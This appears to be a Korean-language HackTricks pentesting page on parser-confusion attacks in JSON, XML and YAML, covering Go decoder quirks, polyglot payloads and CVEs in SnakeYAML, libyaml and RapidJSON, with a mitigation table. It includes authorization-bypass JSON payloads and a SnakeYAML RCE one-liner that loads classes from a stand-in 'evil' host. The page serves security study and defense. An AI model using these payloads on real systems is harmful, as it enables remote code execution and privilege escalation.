hacktricks/src/pentesting-web/json-xml-yaml-hacking.md

167 lines
6.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON Decoder
다음 문제는 Go JSON에서 발견되었지만 다른 언어에서도 존재할 수 있습니다. 이러한 문제는 [**이 블로그 게시물**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/)에 게시되었습니다.
Go의 JSON, XML 및 YAML 파서는 **인증 우회**, **권한 상승** 또는 **민감한 데이터 유출**을 악용할 수 있는 오랜 불일치 및 불안전한 기본값의 흔적을 가지고 있습니다.
### (Un)Marshaling Unexpected Data
목표는 공격자가 민감한 필드(예: `IsAdmin`, `Password`)를 읽거나 쓸 수 있도록 허용하는 구조체를 악용하는 것입니다.
- Example Struct:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- 일반적인 취약점
1. **누락된 태그** (태그 없음 = 필드는 기본적으로 여전히 구문 분석됨):
```go
type User struct {
Username string
}
```
페이로드:
```json
{"Username": "admin"}
```
2. **`-`의 잘못된 사용**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
페이로드:
```json
{"-": true}
```
✔️ 필드가 (un)marshaled 되는 것을 차단하는 올바른 방법:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### 파서 차이점
목표는 서로 다른 파서가 동일한 페이로드를 다르게 해석하는 방식을 이용하여 인증을 우회하는 것입니다. 예를 들면:
- CVE-2017-12635: 중복 키를 통한 Apache CouchDB 우회
- 2022: XML 파서 불일치를 통한 Zoom 0-click RCE
- GitLab 2025 SAML 우회 via XML quirks
**1. 중복 필드:**
Go의 `encoding/json`**마지막** 필드를 취합니다.
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
다른 파서(예: Java의 Jackson)는 **첫 번째**를 선택할 수 있습니다.
**2. 대소문자 구분 없음:**
Go는 대소문자를 구분하지 않습니다:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
유니코드 트릭도 작동합니다:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. 크로스 서비스 불일치:**
상상해 보세요:
- Go로 작성된 프록시
- Python으로 작성된 AuthZ 서비스
공격자가 보냅니다:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python은 `UserAction`을 보고 허용합니다.
- Go는 `AdminAction`을 보고 실행합니다.
### 데이터 형식 혼란 (폴리글롯)
목표는 형식을 혼합하는 시스템(JSON/XML/YAML)을 악용하거나 파서 오류에서 열려 있는 상태로 실패하는 시스템을 악용하는 것입니다:
- **CVE-2020-16250**: HashiCorp Vault는 STS가 XML 대신 JSON을 반환한 후 XML 파서를 사용하여 JSON을 파싱했습니다.
공격자가 제어하는 것:
- `Accept: application/json` 헤더
- JSON 본문의 부분적 제어
Go의 XML 파서는 **어쨌든** 이를 파싱하고 주입된 신원을 신뢰했습니다.
- 조작된 페이로드:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
결과:
- **Go JSON** 파서: `Action_2` (대소문자 구분 없음 + 마지막 우선)
- **YAML** 파서: `Action_1` (대소문자 구분)
- **XML** 파서: 문자열 내에서 `"Action_3"`을 파싱
---
## 주목할 만한 파서 취약점 (2023-2025)
> 다음의 공개적으로 악용 가능한 문제들은 불안전한 파싱이 다국어 문제임을 보여줍니다 — 단순히 Go 문제만이 아닙니다.
### SnakeYAML 역직렬화 RCE (CVE-2022-1471)
* 영향 받는 버전: `org.yaml:snakeyaml` < **2.0** (Spring-Boot, Jenkins 등에서 사용됨).
* 근본 원인: `new Constructor()`가 **임의의 Java 클래스**를 역직렬화하여 원격 코드 실행으로 이어지는 가젯 체인을 허용합니다.
* 원라이너 PoC (취약한 호스트에서 계산기를 엽니다):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* 수정 / 완화:
1. **≥2.0으로 업그레이드** (기본적으로 `SafeLoader` 사용).
2. 이전 버전에서는 `new Yaml(new SafeConstructor())`를 명시적으로 사용.
### libyaml 이중 해제 (CVE-2024-35325)
* 영향: `libyaml` ≤0.2.5 (많은 언어 바인딩에서 활용되는 C 라이브러리).
* 문제: `yaml_event_delete()`를 두 번 호출하면 이중 해제가 발생하여 공격자가 이를 DoS로 전환하거나 일부 시나리오에서는 힙 악용으로 이어질 수 있음.
* 상태: 업스트림에서 “API 오용”으로 거부되었지만, 리눅스 배포판은 포인터를 방어적으로 null-free하는 패치된 **0.2.6**을 배포함.
### RapidJSON 정수 (언더|오버)-플로우 (CVE-2024-38517 / CVE-2024-39684)
* 영향: Tencent **RapidJSON** 커밋 `8269bc2` 이전 (<1.1.0-patch-22).
* 버그: `GenericReader::ParseNumber()`에서 체크되지 않은 산술 연산이 공격자가 숫자 리터럴을 만들어 힙을 감싸고 손상시킬 있게 하여, 결과 객체 그래프가 권한 결정에 사용될 권한 상승을 가능하게 .
---
### 🔐 완화 조치 (업데이트됨)
| 위험 | 수정 / 권장 사항 |
|-------------------------------------|------------------------------------------------------------|
| 없는 필드 (JSON) | `decoder.DisallowUnknownFields()` |
| 중복 필드 (JSON) | 표준 라이브러리에 수정 없음 [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) 검증 |
| 대소문자 구분 없는 일치 (Go) | 수정 없음 구조체 태그 검증 + 입력을 사전 정규화 |
| XML 쓰레기 데이터 / XXE | 강화된 파서 사용 (`encoding/xml` + `DisallowDTD`) |
| YAML 없는 | `yaml.KnownFields(true)` |
| **안전하지 않은 YAML 역직렬화** | SafeConstructor 사용 / SnakeYAML 2.0으로 업그레이드 |
| libyaml 0.2.5 이중 해제 | **0.2.6** 또는 배포판 패치 릴리스로 업그레이드 |
| RapidJSON <패치된 커밋 | 최신 RapidJSON(≥2024년 7월) 컴파일 |
## 참조
- Baeldung SnakeYAML 2.0으로 CVE-2022-1471 해결하기
- Ubuntu 보안 추적기 CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}